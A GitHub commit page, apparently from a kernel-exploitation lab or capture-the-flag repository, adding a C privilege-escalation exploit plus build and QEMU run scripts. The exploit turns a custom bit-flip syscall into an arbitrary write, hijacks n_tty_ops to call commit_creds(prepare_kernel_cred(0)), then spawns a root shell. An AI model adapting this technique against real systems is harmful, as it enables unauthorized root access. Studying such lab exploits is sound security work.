-
Notifications
You must be signed in to change notification settings - Fork 6
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
ameetsaahu
committed
Jun 29, 2022
1 parent
0d18629
commit cc39c8a
Showing
6 changed files
with
82 additions
and
0 deletions.
There are no files selected for viewing
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
#!/bin/sh | ||
|
||
#gcc -w -o exploit -static $1 | ||
musl-gcc -w -s -static -o3 exploit.c -o exploit -masm=intel | ||
cp exploit ./fs/ | ||
|
||
cd fs | ||
find . -print0 | cpio --null -ov --format=newc | gzip -9 > ../initramfs.cpio.gz | ||
cd .. | ||
|
||
./run.sh |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,62 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <fcntl.h> | ||
#include <signal.h> | ||
|
||
unsigned long flit_count = 0xffffffff818f4f78; | ||
unsigned long n_tty_ops = 0xffffffff8183e320; | ||
unsigned long read_ptr = 0xffffffff810c8510; | ||
|
||
void flitbip(unsigned long addr, unsigned long bit) | ||
{ | ||
syscall(333, addr, bit); | ||
} | ||
|
||
void get_shell(void){ | ||
puts("[*] Returned to userland"); | ||
if (getuid() == 0){ | ||
printf("[*] UID: %d, got root!\n", getuid()); | ||
system("/bin/sh"); | ||
exit(1337); | ||
} else { | ||
printf("[!] UID: %d, didn't get root\n", getuid()); | ||
exit(-1); | ||
} | ||
} | ||
|
||
void arb_write(unsigned long addr, unsigned long initial, unsigned long final) | ||
{ | ||
unsigned long i = 0; | ||
for (i=0; i<64; i++) | ||
{ | ||
if ((initial ^ final) & (1ULL << (i))) | ||
{ | ||
flitbip(addr, i); | ||
} | ||
} | ||
} | ||
|
||
unsigned long prepare_kernel_cred = 0xffffffff81033e92; | ||
unsigned long commit_creds = 0xffffffff81033d41; | ||
void escalate() | ||
{ | ||
char* (*pkc)(int) = prepare_kernel_cred; | ||
void (*cc)(char*) = commit_creds; | ||
(*cc)((*pkc)(0)); | ||
} | ||
|
||
int main() | ||
{ | ||
flitbip(flit_count, 63); | ||
|
||
arb_write(n_tty_ops + 0x30, read_ptr, escalate); | ||
|
||
char c; | ||
scanf("%c", &c); | ||
|
||
arb_write(n_tty_ops + 0x30, escalate, read_ptr); // To avoid crash, bcz n_tty_read is corrupted if this isn't done | ||
|
||
get_shell(); | ||
|
||
return 0; | ||
} |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
#!/bin/bash | ||
qemu-system-x86_64 \ | ||
-m 128M \ | ||
-kernel ./bzImage \ | ||
-initrd ./initramfs.cpio.gz \ | ||
-nographic \ | ||
-monitor /dev/null \ | ||
-append "nokaslr root=/dev/ram rw console=ttyS0 oops=panic paneic=1 quiet" 2>/dev/null \ | ||
-s |